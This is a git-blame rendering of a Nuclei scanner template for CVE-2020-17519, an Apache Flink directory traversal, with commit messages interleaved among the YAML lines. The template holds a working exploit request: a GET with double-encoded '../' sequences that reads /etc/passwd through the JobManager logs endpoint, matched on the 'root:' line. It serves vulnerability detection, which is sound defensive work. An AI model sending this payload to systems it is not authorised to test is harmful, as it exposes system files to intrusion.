daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2020/CVE-2020-17519.yaml

30 lines
929 B
YAML
Raw Normal View History

adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
id: CVE-2020-17519
info:
name: Apache Flink directory traversal
misc tag updates
2021-04-06 06:46:11 +00:00
author: pdteam
adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
severity: high
description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://github.com/B1anda0/CVE-2020-17519
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 7.5
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
cve-id: CVE-2020-17519
cwe-id: CWE-552
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
tags: cve,cve2020,apache,lfi,flink
adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
matcher update to handle edge cases
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
part: body